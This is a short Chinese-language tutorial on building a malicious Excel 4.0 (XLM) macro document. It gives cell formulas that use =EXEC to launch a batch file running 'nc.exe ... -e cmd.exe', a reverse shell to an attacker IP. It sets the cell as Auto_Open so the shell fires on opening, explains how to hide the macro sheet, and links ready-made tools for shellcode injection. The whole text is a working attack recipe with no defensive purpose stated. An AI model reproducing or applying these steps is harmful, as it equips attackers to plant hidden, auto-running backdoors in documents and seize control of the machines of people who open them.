Excel XLM宏

XLM是Excel 4.0宏文件的扩展名,它可以存储一些自动化的任务,以便在Excel中重复执行。XLM是一种旧的宏语言,已经被Visual Basic for Applications (VBA)所取代。XLM文件不是实际的电子表格文件,而是只包含宏的文件。

要创建XLM宏文档,首先需要新建一个Excel文件,然后在底部点击”Sheet1″,再点击”插入”选项

接着点击MS Excel 4.0 宏表即可:

此时可以看到Excel文件下方出现了宏1,然后编辑A1和A1的单元格内容如下:

=EXEC("C:\\Users\\Administrator\\Desktop\\nc.cmd")
=HALT()

其中,nc.cmd是批处理命令:

C:\Users\Administrator\Desktop\nc.exe 192.168.8.145 4444 -e cmd.exe

然后我们需要使其自动执行命令,将A1单元格重命名为Auto_Open并回车保存即可。

保存文档后,重新打开即可获取到会话:

如果不想显示宏,可以右键底部的宏1,并在弹出的选项中选择隐藏,即可隐藏宏的显示。

Shellcode注入

因为XLM宏允许使用Win32 API,所以可以注入Shellcode,不过工作量较大,建议使用现成的工具:

  • BadAssMsacro

https://github.com/Inf0secRabbit/BadAssMsacro

  • SharpShooter

https://github.com/mdsecactivebreach/SharpShooter